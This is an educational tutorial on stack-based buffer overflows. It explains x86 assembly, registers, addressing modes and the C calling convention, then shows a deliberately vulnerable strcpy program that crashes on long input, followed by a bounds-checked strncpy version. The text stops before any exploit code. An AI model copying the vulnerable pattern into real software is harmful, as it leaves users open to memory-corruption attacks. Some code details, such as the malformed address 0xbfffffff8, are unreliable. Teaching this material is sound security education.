

Buffer Overflows Complete

By detach at hackaholic.org (Rob klein Gunnewiek)
<http://hackaholic.org/>

This paper is released under the Creative Commons Attribution-NonCommercial-ShareAlike.

This paper covers buffer overflows for beginners. No previous knowledge of programming is required, but if you do you can skip to chapter 2. User-level knowledge of Unix or Linux (and access to such a machine with compiler) is required.

The buffer overflow exploit falls under the class of memory manipulation exploits, meaning that these bugs are exploited by changing memory inside a process. Through a programming error (bug) it is possible to change memory inside a process. To master this type of exploitation, you should learn to program in both C and assembly. You can start by studying and practicing this paper and then refer to one of the more advanced texts on buffer overflows linked at the end of this chapter.

In buffer overflows and similar exploitation techniques, we want to take over control of a process (a running program) in the most reliable way possible. For this we need to do several things:

- Have something we want the faulty process to execute
- Have a reliable way to let the process execute this

This is what this paper will explain. But before we can do this, we need to understand what buffer overflow vulnerabilities are, which is explained next.

1. Understanding buffer overflows

Lower-level programming languages like C and assembly require the programmer to handle a most of memory allocation by hand, while higher-level languages such as Java, Perl, Python handle this for the programmer. For example, in Python, the programmer doesn't need to allocate a buffer before reading input, for example:

```
import sys
input = sys.stdin.read()
```

The variable 'input' is created on the fly, it will take an arbitrary length text as input, until an End Of File character is read. When programming in lower-level languages like assembly or C it's not that simple. In C one could do:

```
char input[100];
gets(input);
```

As you may know, in modern computer systems, 1 byte is the smallest addressable storage unit. A string is nothing but a continuous stream of bytes¹, or character array. Each character takes 1 byte.

Using Python, we could input just as many characters we want until the memory is exhausted, Python handles the dynamic allocation of memory for you. In the above C example we allocate a buffer of 100 bytes, we read characters from standard input and store those in the variable "input".

The buffer overflow vulnerability, as the name suggests overflows a buffer of a fixed size. When bytes are read and written to a fixed-size buffer without regards of the amount of data being written, you could overwrite data outside the fixed-size buffer. Depending on the type of memory region that is overwritten, this could crash the program. What is less apparent is that when understood completely what is overwritten, attackers may carefully overwrite memory regions in order to control the process. Some of such memory regions are called the stack and the heap. In this paper I will only cover stack-based buffer overflows, but many things learned from this you will need to exploit other types of vulnerabilities such as heap overflows. The nature of the stack is very different though, so actual exploitation is different.

In order to understand how to exploit stack-based buffer overflows you will need to understand C functions, a little assembly and how the stack memory really works.

¹ Though in C a string (character array) ends with a NUL-byte (\0) which is not necessarily true for other languages

1.1. Assembly

When compiling C programs, the process of compiling involves several stages until the program is fully converted to machine code and linked to shared libraries. The first stage of compiling involves the preprocessor, where any definitions and other items are resolved and replaced by constants. Then the C compiler is invoked, which converts the C code to assembly code. The assembly code is then converted to machine code by the assembler which produces an object file. This object file already contains the machine code, but it needs to be linked in order to be executable, this is done using the linker (usually 'ld').

Assembly is a very low-level (meaning, close to machine-level) programming language. The C compiler tries to translate C code to efficient assembly code which can then be easily converted to machine code using the assembler². An operating system such as GNU/Linux has GCC (GNU Compiler Collection) and GAS (GNU Assembler) assemblers for this. In this paper, when we use assembly we use GAS assembly syntax (AT&T style) to avoid confusion. Another popular assembler is NASM (Netwide Assembler), which uses the Intel assembly syntax. The difference is just another way of writing down the assembly code, but the essence is the same. We use the GAS syntax because we will be using GDB (GNU Debugger) later which is also AT&T syntax.

Let's write a very simple assembly program that just returns the value 2:

```
.text
    .globl main
    .type main, @function
main:
    pushl %ebp
    movl %esp, %ebp
    movl $2, %eax
    leave
    ret
```

The program above is incredibly easy, however to entirely understand this requires some explanation. You need to know about addressing modes, mnemonics, instructions, endianness, registers, and so on. I will attempt to explain this as easy as possible, but if you don't quite get it the first time you should check out the references at the end of this paper to educate yourself.

The PC and PC clones all use the old Intel CPU (Central Processing Unit, or

²It is of course possible to write all programs in assembly directly, but that is mainly a thing of the past. In this paragraph I introduce you to assembly and don't worry, we will be writing machine code later too.

Processor) Architecture. Modern PCs are referred to as IA32 (Intel Architecture 32-bits) or (even more modern) IA64 (64 bits), but also x86 or i386 (generic Intel 386 compatibles). There are many other CPU architectures such as SPARC, PowerPC, MIPS and Alpha.

In this paper we concentrate on the Intel 32-bit processors and compatibles (such as AMD processors ofcourse). The assembly language is always specific to the CPU platform, so if you want to attack other platforms, you need to learn that platform's assembly language first³. In practice, assembly language programming also differs among operating systems, because we need to use operating system services. In this paper we focus on the GNU/Linux operating system. You will need to have GCC installed.

From a programmers perspective a CPU offers the following aspects for programming. These will be covered in this section:

- Registers
- Instructions
- Addressing modes

Registers

A processor has registers⁴ in which values of a fixed size can be stored. On 32-bit CPUs these registers are 32-bit in size, so you can store a value with maximum value of $2^{32}-1$. For backward-compatibility, Intel architecture still has 8-bit and 16-bit registers, but these are just part of 32-bit registers (yes, "different" registers overlap!). Intel calls these registers on 32-bit CPUs "extended registers". We will get back at that.

There are multiple types of registers, some are special and cannot be used directly, others are "general purpose" registers which the programmer can use to store temporary values. Registers are used to keep track of states, temporary values, pointers (address of) to memory locations, etcetera.

To an assembly programmer, each register has a name. The following table shows all general- and special-purpose registers of an Intel CPU:

³ Note that most generic information contained here goes for all CPU platforms.

⁴ Also called accumulators

<i>General Purpose Registers</i>	EAX
	EBX
	ECX
	EDX
	ESI
	EDI
<i>Special Purpose Registers</i>	EBP
	ESP
	EIP
	EFLAGS

The “E” before each register name stands for Extended (which means, before 80386 these were 16-bit registers AX, BX, CX, etcetera; and AX can be divided once again into AL and AH 8-bit registers). The special purpose registers are often used by the CPU itself. For example, EIP is the Instruction Pointer, a.k.a. Program Counter which contains the memory address of the next instruction to be executed in a program. The EFLAGS register contains bits where each bit contains a status code.

With certain instruction (instructions are explained in the next paragraph) you can write values to registers, and other instructions can be used perform computations on the values in registers. Results of the computations can then be stored in another register.

The EFLAGS register is especially interesting, it is rarely accessed directly, often the instructions use them to store or retrieve the state. For example it can be used to set and determine whether a condition was true or false. Each status flag can only be zero or one, taking exactly one bit.

Instructions

There are several types of instructions, most instructions perform some kind of arithmetic on values in registers. Values can be given in different ways which is determined by the *addressing mode*. It varies per instruction, as to which addressing modes it supports. A processor is given instructions using the instruction's opcode (operation code). Opcodes are just numeric codes that are uniquely assigned to each instruction, those can be looked up in Intel's processor manuals. The assembly programmer does not have to lookup the opcodes,

opcodes are given by using mnemonics, which are just names for instructions. The assembler translates those mnemonics to their opcodes (machine code), just like registers are also mnemonics to the programmer, the name “eax” is translated to the register code.

The processor has many instructions, many of which are not essential in order for the computer to work, as a computer would only need several basic building blocks such as AND, OR, XOR and such, however to improve speed and to simplify things, the CPU has many instructions. Each instruction needs 1 or more CPU cycles (CPU clock cycles) to execute, which entirely depends on the type of instruction and can be looked up in Intel's manuals.

Some common Intel instructions are:

<i>Instruction</i>	<i>Description</i>
movl	copy 32-bit digit to another location
addl	add 32-bit digit to value in another location
cmpl	compare 32-bit digit to another 32-bit digit
decl	decrement 32-bit digit from another 32-bit digit
imull	multiply 32-bit digit by another 32-bit digit

There are of course many more instructions, these were just an example. Often there are instructions that are optimized for more special tasks that run faster than when the programmer were to use multiple general-purpose instructions.

The 'l' (L) appended to movl and addl indicates that the given value is of type “long”, meaning that it is 32-bit (4 bytes). If you would want to work with 8-bit bytes you could use movb for example. It is important that this “information” is embedded in the instruction because the processor otherwise cannot tell whether it should treat the next 8-bits or next 32-bits as an argument value (called an operand). This is one difference between NASM and GAS, as with NASM, the assembler will “guess” the size of your values and use the correct opcode.

So the operand size and the instruction are encoded into one opcode, so the processor knows different variants of for example 'mov'.

Addressing modes

Instructions that take operands need to know the type of operand. In the

processor this is solved similarly as the operand-size method; have a different opcode for different sizes. In the same way, each instruction has variants for different types of operands. These different types are determined by the addressing mode used. For example, with the MOV instruction you could copy something from memory to a register, for exactly this operation (copying from memory to register) there is a specific opcode. For the MOV instruction alone there are many different opcodes covering every possible addressing mode. As you can imagine, this way there are hundreds of opcodes in use in an intel processor. And understanding how these opcodes are built gets extremely complex. However when dealing with assembly language we don't have to cope with that kind of detail. I identify the following 6 addressing modes which are used in assembler:

- Register addressing
- Immediate addressing
- Direct addressing
- Indirect addressing
- Basepointer addressing
- Indexed addressing

These addressing modes can be used as operands to instructions, if these instructions support them ofcourse. The MOV instruction for example, can use any of the above addressing modes. Basically, these addressing modes tell the compiler which variant of the instruction should be used, meaning the right operand. The processor will then know how to access the operands in question. For example, sometimes an operand will be a code of a register, another time it can be an immediate value, so it is necessary so that the processor knows how to handle the operand or things will go mad.

Register addressing mode

The register addressing mode is quite easy, you copy a value in one register into another register. You tell the assembler to use the register mode by putting a percent-sign before the register name. For example:

```
movl %eax, %ebx
```

Immediate addressing mode

In immediate addressing mode, the given operand is not a reference to a value, but the value itself, which is even easier. In the following example we will write the immediate value of 1 to the register EAX:

```
movl $1, %eax
```

The immediate value is denoted with the dollar-sign, while the registers are denoted with the percent-sign. Our notation of the immediate value is decimal, but we can also use other notations such as hexadecimal (ofcourse, the processor doesn't care how you gave the operand value to the assembler):

```
movl $0x1, %eax
```

In assembly and in C you usually use 0x to denote a hexadecimal number.

Direct addressing mode

Direct addressing mode is accessed by memory address, it's as simple as that. In case of the MOV instruction, which requires two operands, we could copy a value from memory into a register. This could be done like so, where the first operand is in direct addressing mode:

```
movl 0x00000000, %eax
```

In this example, the value at memory address 0 is copied to register EAX. The %-sign tells the assembler that the second operand is in register mode. As you can see our address is given as a hexa-decimal number, which is common at this level of programming. The direct addressing mode is the default mode, as becomes apparent when you see that no special sign is used to tell the assembler we are using direct addressing mode. Also note that it is not possible to directly copy from one memory address to another. If that is what you want you first need to read it into a register and then from a register into a memory address.

Indirect addressing mode

In indirect addressing mode, the operand contains a name of a register enclosed by parentheses. The value inside the register is interpreted as the direct address to the memory that is addressed. Let's use the same example as above in indirect addressing mode:

```
movl $0x00000000, %ebx # note the dollar-sign, we copy the value 0 to EBX  
movl (%ebx), %eax # we now copy the value at address 0 to EAX
```

Basepointer addressing mode

This addressing mode is very similar to the indirect addressing mode. The basepointer addressing mode uses two values to calculate the real address, which are the base address and the offset. The offset is added to the basepointer and the result is the direct address to the requested value. The basepointer is inside a register and is written between parentheses just like with indirect addressing mode. The difference is that the offset is given before the parentheses. For example:

```
movl $0x00000000, %ebx
movl 4(%ebx), %eax
```

In this example we copy the value at address 0x00000004 to EAX.

Indexed addressing mode

Finally, indexed addressing is the most relatively complex addressing mode. The absolute address is calculated using 3 values, 2 of which are required. It uses an address, an index register and a multiplier. The value in the index register is multiplied by the multiplier and then added to the address. In the following example you will see a somewhat similar notation as with basepointer addressing, but it works entirely different, what was an offset before, now is the absolute address:

```
movl $1, %ebx
movl 0x00000000(,%ebx,4), %eax
```

Now, this example is interesting. In the example EBX contains 1, 1 is multiplied by 4 which results in 4, this is added to the address resulting in 0x00000004.

As a programmer, the 0x00000000 address could be a start address of a buffer. In this buffer could be elements of data that are 4-bytes long each. Now the indexed-addressing method would be a good candidate, as we only need to know the beginning of our buffer (0x00000000) and the number of the current element. For example, if we want to access element 5, we could do:

```
movl $5, %ebx
movl 0x00000000(,%ebx,4), %eax
```

We would then access element 5, which is at location 0x00000014 (14h is 20 decimal). The above construction is ideal to use in loops, where you want to access every value, like this:

```

    movl $0, %ebx
    movl $10, %ecx    # count till loop ends

loop_start:
    movl 0x00000000(,%ebx,4), %eax
    addl $1, %ebx    # increment EBX (count)
    cmpl %ebx, %ecx  # compare current count to maximum count in ECX
    jne loop_start   # if not equal to maximum count, continue next loop

```

Assembly language is not very difficult by itself, you get the fundamental building blocks, you can write simple applications with it. If you understand assembly very well and had a lot of practice you could write very fast running code. So assembly language is often used in parts of programs that require speed. As you can imagine, The C compiler (which turns C code into assembly) is not as efficient in generating fast-running executable code than an experienced assembly programmer. For example, let's write the above program as a real assembly program which actually compiles:

```

.text
    .globl main
    .type main, @function
main:
    pushl %ebp
    movl %esp, %ebp
    movl $0, %ebx
    movl $10, %ecx

loop_start:
    movl 0xbfffffff8(,%ebx,4), %eax
    addl $1, %ebx
    cmpl %ebx, %ecx
    jne loop_start

    leave
    ret

```

It's not a very useful program, but that doesn't matter. When we translate this as accurately as possible into C language I would write:

```

int main ()
{
    register int a;
    register int b = 0;
    register int c = 10;
    register unsigned long start_address = (long)0xbfffffff8;

    do
    {
        a = (long) start_address + (b * 4);
    }
}

```

```

    b = b + 1;
} while (b < c);

return a;
}

```

We can compile this using “gcc loop.c -o loop”, but we can also tell GCC to only compile the C program, meaning we will see the assembly code. Lets compare our code with what gcc produces and not use optimization, we do this with -O0, which gives us non-optimized code. This is necessary as GCC is smart enough to know the program doesn't make any sense and will simply skip some code, which we do not want.

```

$ gcc -O0 -S loop.c -o loop.S
$

```

The assembler code may differ from what you get, but this is what I get:

```

        .file   "loop.c"
        .text
.globl main
        .type   main, @function
main:
        pushl   %ebp
        movl    %esp, %ebp
        subl   $24, %esp
        andl   $-16, %esp
        movl   $0, %eax
        subl   %eax, %esp
        movl   $0, -8(%ebp)
        movl   $10, -12(%ebp)
        movl   $-1073741864, -16(%ebp)
.L2:
        movl   -8(%ebp), %eax
        sall   $2, %eax
        movl   -16(%ebp), %edx
        addl   %eax, %edx
        movl   %edx, -4(%ebp)
        incl   -8(%ebp)
        movl   -12(%ebp), %eax
        cmpl   %eax, -8(%ebp)
        jl     .L2
        movl   -4(%ebp), %eax
        leave
        ret
        .size   main, .-main
        .section .note.GNU-stack,"",@progbits
        .ident  "GCC: (GNU)

```

Many instructions in the above don't seem useful to me, or at least inefficient, but

as you can see it is possible to learn assembly by programming in C first, then only compiling it to assembly. If you find it hard to understand that code, realize that it is often this kind of code you need to work with. When you go into buffer overflows or want to analyze closed-source software, there is no way around reading automatically produced assembly code. Even worse is that you will not have things such as labels which you can easily trace back (labels are like "loop_start:"), but only absolute addresses in debuggers such as GDB. Output of deadlisters (disassemblers) such as objdump are more easy to understand than GDB output, because they will show labels as well.

Objdump output of my own assembly program looks like this:

```
08048334 <main>:
8048334:    55                push   %ebp
8048335:    89 e5             mov    %esp,%ebp
8048337:    bb 00 00 00 00   mov    $0x0,%ebx
804833c:    b9 0a 00 00 00   mov    $0xa,%ecx

08048341 <loop_start>:
8048341:    8b 04 9d d8 ff ff bf   mov    0xbfffffff8(,%ebx,4),%eax
8048348:    83 c3 01          add    $0x1,%ebx
804834b:    39 d9            cmp    %ebx,%ecx
804834d:    75 f2            jne    8048341 <loop_start>
804834f:    c9              leave
8048350:    c3              ret
```

The first column shows the address of the code in memory when the program is executing. The third column contains the disassembled machine-code.

What you see in the second column (the hex-numeric) are the real opcodes. Notice that the mov opcode changes. If you look at address 8048337 for example, you can see that the only opcode is 0xBB, and that the zeroes is the \$0x0 operand. No mention of the EBX register operand, this is because there is a special operand for the instruction which copies an immediate operand into register EBX. Ofcourse, this is not what we need to worry about, because we can just get this opcode information from objdump and GDB (which we will see later).

Okay, now we already have covered very concisely a lot about assembly language. Before we get into buffer overflows, you need to understand functions in C and how they translate to assembly first.

1.2. Functions

Normally instructions get executed sequentially, only certain instructions can tell the processor to continue executing instructions at another location, such as the

jump (JMP) instruction (or the JNE instruction, which we have used in the former paragraph). Sometimes this is also called changing the *flow of execution*. A function call does this too.

A function call is done using the CALL instruction, other than a jump, it also does some housekeeping, remembering important state information so that it can return back to the instruction that follows the CALL instruction. Next to this housekeeping information, the function that is being called can also return a value, however this is implemented by C itself, using a canned method.

To return to the caller function (the code that calls another function is itself inside a function) the instruction RET is used, which makes sure that caller can continue execution.

The entire method C uses to implement function calls is called the C calling convention, which we get back at in detail.

A C program can be built from dozens of small procedures called functions. One function can call another function in the program. A program written in the C language has at least one function called "main". The main function can call other functions, and these functions typically return back to the caller function (main).

As you can imagine, a function typically performs a small job and then returns the outcome of the operation. For example, one could have a function called "power" which uses two values as input and returns the power of these two values. Upon calling a function, the caller function can also give values to the function (such as "power") as parameters.

Functions in C

In the C examples in the former section you already saw the use of a function, probably without realizing it. That function was the required 1 function in C: main, which contained the whole program. However, often a programmer wants to reuse code or split a program in multiple tasks. The C language (and many other programming languages) implement functions. In other programming languages such as Pascal, such facilities may be implemented using "procedures". Their function is identical, but they are implemented and used differently. In the C programming language, the function call syntax looks like this:

```
return_value = function_to_be_called (parameter);
```

In the above statement, the variable *return_value* would receive the value from the function *function_to_be_called*. As you can see in the next example, the

returned value will be 0:

```
int function_to_be_called(int parameter)
{
    return 0;
}
```

Here is a more useful example program that has a function *power*:

```
int power (int, int); /* this is the function prototype,
                       * the real function comes after main () */

int main ()
{
    int raised;

    int x, y;

    x = 2;
    y = 2;

    raised = power (x, y);

    printf ("%d\n", raised);
    return 0;
}

int power (int x, int y)
{
    int i = y;
    int return_value = 0;

    while (i > 0)
    {
        return_value = return_value + (x * x);
        i = i - 1;
    }

    return return_value;
}
```

It's not really important that you understand how the power function is programmed, but I will explain. The power function multiplies *x* by *x*, *y* times, while the results are summed up in *return_value*. At the end of the power function, the *return_value* is returned to the caller function, which is *main* in this example. *Main* then prints the return value *raised* to the screen.

The C calling convention

When calling a function in C arguments can be passed and return values returned, how this is done in assembly is known as the C calling convention. This involves the stack, which will be explained in this section.

Stack memory

In C there are different ways to store values and different ways to allocate buffers. For example, some variables may only be required in a small part of a program, others may be global and accessible from anywhere in the program. This has an effect on where the variables get stored; the type of memory region. The stack is one of those regions, most useful for storing local variables. Local variables in C are local to a function, for example;

```
int main ()
{
    int this_is_a_local_variable;
}
```

In the former paragraph you have also seen the use of the register variable:

```
int main()
{
    register int this_is_stored_in_a_register;
}
```

In this case, the compiler will try to use a register for storing the variable, this is most useful for variables that are used frequently, as it will speed up the process. It is also possible to create a global variable, which is stored in another memory area:

```
int this_is_a_global_variable;

int main ()
{
    this_is_a_global_variable = 1;
}
```

The global variable can be accessed by any function, in contrast of local variables. To pass local variables, we use the C function call with arguments. The argument can be a local variable, which is actually copied. For example you could do this:

```
int the_function_to_call (int the_parameter)
{
```

```

    the_parameter = 1;
    return;
}

int main ()
{
    int the_argument = 0;

    the_function_to_call (the_argument);

    // upon returning to main (), "the_argument" is still 0
}

```

So the variable *the_argument* doesn't change, because *the_function_to_call* receives only a copy of the value *the_argument*, it is copied into a variable that is local to *the_function_to_call*; upon returning, the variable is removed. This method is called "call-by-value".

A different method is *call by reference*. When using call-by-reference, the local variable is still the local variable, but in that case *main* would give *the_function_to_call* a pointer to its local variable *the_argument*, like this:

```

void the_function_to_call (int *the_parameter)
{
    *the_parameter = 1;
    return;
}

int main ()
{
    int the_argument = 0;

    the_function_to_call (&the_argument); // a pointer to the_argument is given

    // upon returning, "the_argument" is 1
}

```

As you can see, using call-by-reference the pointer (the address of the variable) is given to *the_function_to_call* and this way will overwrite the value of *main*'s local variable *the_argument*. Please note that when *the_function_to_call* returns, only the *pointer* (the address of the variable) is removed, but not the variable itself because it is a local variable of *main*, not of *the_function_to_call*.

LIFO

Now it is important to understand that local variables are stored on the stack. The stack is a LIFO (Last In, First Out; like a pile of papers on your desk) memory

mechanism mostly used for storing local temporary values. The stack allows a programmer to store values for as long as a certain part (procedure) in the program runs. To store values on the stack in the C language, you create local variables. The stack is a memory area, but also specifically supported by your processor by introducing several stack-specific instructions.

Stack-specific operation for using the LIFO mechanism is through the PUSH and POP instructions. PUSH is like putting a paper on a pile of papers, POP to take off the one on top. This facility is used by programming languages in different ways. PUSH and POP (on some architectures called PULL) are notably useful for temporarily storing register variables in the memory.

As the Intel architecture only has 8 registers (which we cannot all use), we can only hold more variables by temporarily swapping them to memory and back, using PUSH and POP for example. You may already have seen the use of PUSH and POP, but these are explained later. Let's create an assembly program that stores the contents of a register in memory:

```
.text
    .globl main
    .type main, @function

main:
    pushl %ebp
    movl %esp, %ebp

    movl $1, %eax
    movl $2, %ebx
    pushl %eax
    pushl %ebx
    popl %eax
    popl %ebx

    leave
    ret
```

The above program first puts the values 1 and 2 in EAX and EBX, respectively. Then it does an exchange of the values, meaning that EAX will hold 2 and EBX hold 1. This is done by first pushing the values of EAX and EBX onto the stack, then popping them back in EAX and EBX in reverse. It happens in reverse because the last PUSH pushed the value of EBX on top of the stack, then the next POP popped the last value from the stack into EAX. This demonstrates perfectly well how the PUSH and POP instructions work. But we are not there yet.

The stack pointer

PUSH and POP are nice features, but how do they work? In order to PUSH and

PULL values, the system needs to keep track of things:

- Allocation of memory
- Remembering the current position on the stack (the top)
- Knowing the start of the stack (the bottom)

The bottom is the easiest, the stack on GNU/Linux starts at memory address 0xc0000000, the operating system only needs to tell the processor. When you push a value on top of the stack, the stack grows. On Intel processors the stack grows downwards in terms of memory addresses. For example if you push a 4-byte value onto the stack, the top of stack becomes 0xbfffffff. And when you POP it back off, the top is again the bottom; 0xc0000000. This might be a bit confusing, but it's not that hard. You know that 0xc0000000 is a lot more than 0x00000000, so there's a lot of space to grow downwards.

Now to keep track of at which memory location the top of the stack is, the processor has a register called ESP (Extended Stack Pointer). It always points at the top of the stack, the last value pushed onto it. When the stack pointer is decreased, the stack grows larger, and when increased the memory address is higher and the stack shrinks again. So, instead of the PUSH and PULL, we can just do this ourselves:

```
.text
    .globl main
    .type main, @function

main:
    pushl %ebp
    movl %esp, %ebp

    movl $1, %eax
    movl $2, %ebx

    subl $4, %esp
    movl %eax, (%esp)
    subl $4, %esp
    movl %ebx, (%esp)

    movl (%esp), %eax
    addl $4, %esp
    movl (%esp), %ebx
    addl $4, %esp

    leave
    ret
```

As you can see, in order to expand the stack, we just decrease the value of the stack pointer, increasing the stack space. We do this in 2 operations, each time

subtracting 4 bytes from the stack pointer, while we could have done this in one operation and using basepointer addressing mode instead of indirect addressing mode as used in the example above:

```
    subl $8, %esp
    movl %eax, 4(%esp)
    movl %ebx, (%esp)

    movl (%esp), %eax
    movl 4(%esp), %ebx
    addl $8, %esp
```

This is often how a good compiler works. Instead of using the CPU's PUSH and POP, sometimes it is more efficient to just allocate memory for all local variables and once, and later utilize `movl` to copy values to/from the stack. That's why you don't see a compiler use PUSH and POP a lot.

Now you understand the basic operations for working with the stack, you are ready to understand C function calls. Remember this is all essential in understanding buffer overflow exploitation.

Function calls in assembly

I will just write a function and a call to a function as we did in C, but in assembly. The code works like this C code:

```
int the_function_to_call (int the_parameter)
{
    the_parameter = 1;
    return 0;
}

int main ()
{
    int the_argument;

    the_argument = 0;

    the_function_to_call (the_argument);

    return 0;
}
```

Again, a totally useless program, but not for our explanation. The assembly code looks like:

```
.text
```

```

        .globl main
        .globl the_function_to_call
        .type main, @function
        .type the_function_to_call, @function

the_function_to_call:
    pushl %ebp
    movl %esp, %ebp

    movl $1, 8(%ebp) # the_parameter = 1

    # return 0
    movl $0, %eax
    leave
    ret

main:
    pushl %ebp
    movl %esp, %ebp

    subl $4, %esp # int the_argument
    movl $0, (%esp) # the_argument = 0

    # the argument to the_function_to_call: (the_argument)
    movl (%esp), %eax
    pushl %eax

    call the_function_to_call

    addl $8, %esp

    # return 0
    movl $0, %eax
    leave
    ret

```

Okay, in the main function the call to *the_function_to_call* is executed, before that the arguments are provided for this function. The argument is passed to *the_function_to_call* by just pushing it onto the stack. When there is more than one argument, the arguments are pushed in reverse order, so that the last argument is the furthest away from the current stack pointer

Now I can explain what these instructions do:

```

    pushl %ebp
    movl %esp, %ebp

```

I first need to introduce the EBP register. The EBP register is the Base-pointer or Frame-pointer. The stack Frame-pointer always points to the beginning of a stack frame. A stack frame is the stack memory in use by one procedure. When a

function finishes, the stack frame is freed again. Unlike the stack pointer, the frame-pointer always points to the same memory as long as a function is executing. This way, the frame-pointer is not really essential, but simplifies things for a programmer, because a programmer only needs to use offsets from EBP, instead of calculating the offset from the variable ESP. This also makes EBP ideal for accessing parameters.

But, let's first discuss the example code snippet above. As you can see the EBP is pushed onto the stack, this is done so that it can be popped again when the function returns, effectively restoring the original state of EBP. After saving the frame-pointer, we are at the start of the function. No local variables have been reserved yet, so this is the start of the new stack frame for the new function. Before we do anything else; the current top of the stack is the bottom of the new frame, so we copy ESP to EBP. After this we can change ESP as we like without losing track of the start of our stackframe.

Now, a similar method is used by the CALL instruction. The CALL instruction is designed to jump into a new function, and later to return using the RET instruction. When we jump out of the current function using CALL, the current program counter (EIP) must be saved aswell. The CALL instruction does this automatically, it stores the current EIP on the stack.

Now let's look at the stack when we call a function with three arguments:

towards bottom of stack (high memory address)	argument 3
	argument 2
	argument 1
	saved EIP (done automatically by CALL)
top of stack (low memory address)	saved EBP (saved frame-pointer)

Here is a code snippet that would produce such a stack:

```

pushl %ecx # push argument 3
pushl %ebx # push argument 2
pushl %eax # push argument 1
call the_function

```

```

the_function:
pushl %ebp # push main's frame-pointer
movl %esp, %ebp # the stackpointer points to the start of our frame,
                # make it our framepointer

```

That's it. The CALL will push EIP before we push EBP. We're almost finished on background information, you only need to understand how a function returns and returns a value.

As this is very important to understand, I'll show the stack after each assembly instruction:

pushl %ecx

towards bottom of stack (high memory address)	<rest of stack frame of main(>
top of stack (low memory address)	argument 3

pushl %ebx

towards bottom of stack (high memory address)	argument 3
top of stack (low memory address)	argument 2

pushl %eax

towards bottom of stack (high memory address)	argument 3
	argument 2
top of stack (low memory address)	argument 1

call the_function

towards bottom of stack (high memory address)	argument 3
	argument 2
	argument 1
top of stack (low memory address)	saved EIP (done automatically by CALL)

pushl %ebp

towards bottom of stack (high memory address)	argument 3
	argument 2
	argument 1
	saved EIP (done automatically by CALL)
top of stack (low memory address)	saved EBP (saved frame-pointer)

After this `pushl` instruction, the current stackpointer is copied to the current framepointer (`ebp`) so the top of the stack is the start of the stack frame of *the_function*.

A function can return with the `RET` instruction. But before that we need to restore the caller's frame-pointer, so that it remains in the same state as before the `CALL`. This can be done in two ways:

```
leave
```

The `LEAVE` instruction will restore the frame-pointer, but we can also do it ourselves:

```
popl %ebp
```

A function can return a value of 32-bit size by putting it in register `EAX`. This is also part of the convention. The caller function can then just read `EAX` to receive the return value. When `main` exits it also returns a value, you can see this in your shell. For example if we run this program:

```
.text
    .globl main
    .type main, @function
main:
    pushl %ebp
    movl %esp, %ebp
    movl $2, %eax
    leave
    ret
```

We run it:

```
$ ./return
$ echo $?
2
$
```

When running the program, a function in the BASH shell executes the program and knows that the return value is in EAX. We can view the commands return value using `echo $?`. As you know, the return value can be anything from an integer to a pointer, you name it.

1.3 The buffer overflow

OK, I'm glad you made it this far, assuming you did. If you didn't, it's understandable (I have covered a lot of information in several pages) and you should work on assembly first by reading articles and books mentioned in the references at the end of this paper. In this section I will show you what a buffer overflow vulnerability is, and why this is a security vulnerability. You understand now how the stack works and how function calls in C are translated to assembly. Now you are ready to understand the impact of buffer overflows.

Consider the following C program:

```
int main (int count, char *argument[])
{
    char buffer[100];

    if (count < 2)
    {
        printf ("You need to give text as an argument, exiting\n");
        exit (1);
    }

    strcpy (buffer, argument[1]);

    return 0;
}
```

What it does is it creates a local variable called 'buffer', the variable is a character array that can hold a 100 characters. Then the given argument is copied to the 100-byte buffer. The `char argument[]` are the arguments you can give on the command-line to `main`, `int count` will hold the count of howmany arguments have been passed. You can compile and execute this program like so:

```
$ gcc -o vulnerable vulnerable.c
$ ./vulnerable the_string_i_give_to_main
$
```

What does happen but we do not see, is that `the_string_i_give_to_main` is copied to the 100-byte buffer. So what happens if the string is longer than 100-bytes?

Let's see what happens if we give 130 characters:

```
detach@devil:~$ ./vulnerable
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
detach@devil:~$
```

When a program is loaded in memory, it is loaded as several memory segments which are all put at different addresses. For example, the stack segment starts at 0xc0000000 as we have seen before. The program text (.text, which contains executable code) starts at 0x08048000, these are virtual addresses, not physical ones, as the Linux kernel has complete control over our programs and only provides *virtual* memory access. When we try to access addresses such as 0x00000000, these are not accessible for the program and are outside any segment of memory accessible to our program, so we get a segmentation fault. But why does it access this illegal address?

Remember that a CALL instruction pushes EIP onto the stack and that RET can then POP the saved EIP as the new EIP in order to go back to the caller function? We call this *saved* EIP the return address, or *ret* (not to be confused with the RET instruction). In the vulnerable program the stack looks like this;

towards bottom of stack (high memory address)	char *argument[]
	int count
	saved EIP or <i>ret</i> (done automatically by CALL)
	saved EBP (saved frame-pointer)
top of stack (lower memory address)	char buffer[100]

Now the stack pointer points to *buffer[100]* like this:

towards end of buffer (higher memory addresses)	buffer[n]
	buffer[2]
	buffer[1]
start of buffer, ESP points here	buffer[0]

So this makes it all a little more complex. When you write to the buffer (the character array), the buffer is copied byte by byte, starting at *buffer[0]*. But, even

though the buffer was defined as `buffer[100]`, meaning that the last byte in `buffer` is `buffer[99]`, the `strcpy` function does not care and will happily write to `buffer[100]` or `buffer[124]`! Just keep in mind that the *allocated buffer* `buffer[100]` doesn't mean a thing to any functions such as `strcpy`, they don't care whether `buffer[123]` was really allocated for `buffer` or not. As you should see by now, it will happily overwrite *saved EBP* and *saved EIP*, not knowing this is outside the *allocated space of buffer*! Once the function executes `leave`, the overwritten *saved frame-pointer* becomes the new frame-pointer, and even worse, the overwritten *saved EIP* becomes the new EIP! And once EIP is overwritten, the processor will next start to execute instructions at non-existing memory addresses (outside any valid segment), which happens when the RET instruction is executed at the end of the function `main`. This is why the program crashes.

The `strcpy` function should only be used when the programmer is sure that the source buffer is not larger than the allocated space of the destination buffer. The end of the source buffer is determined by a NUL-byte, meaning a byte with the value 0x0 (0). So when the source buffer is larger than the destination buffer, the `strcpy` function will not find a NUL-byte before having read more bytes than the destination buffer can hold. In other words, it is the programmer's responsibility to make sure there is no potential buffer overflow. This is called *bounds checking*, a programmer should always properly do bounds checking. Some functions such as `strncpy` can be told how many bytes to copy at most, so that a buffer overflow could be prevented, like this:

```
int main (int count, char *argument[])
{
    char buffer[100];

    if (count < 2)
    {
        printf ("You need to give text as an argument, exiting\n");
        exit (1);
    }

    /* copy a buffer with bounds checking */
    strncpy (buffer, argument[1], 100);

    return 0;
}
```

The above program will not crash when you input more than a 100 bytes, because it will not read or write more than a 100 bytes:

```
$ ./copy
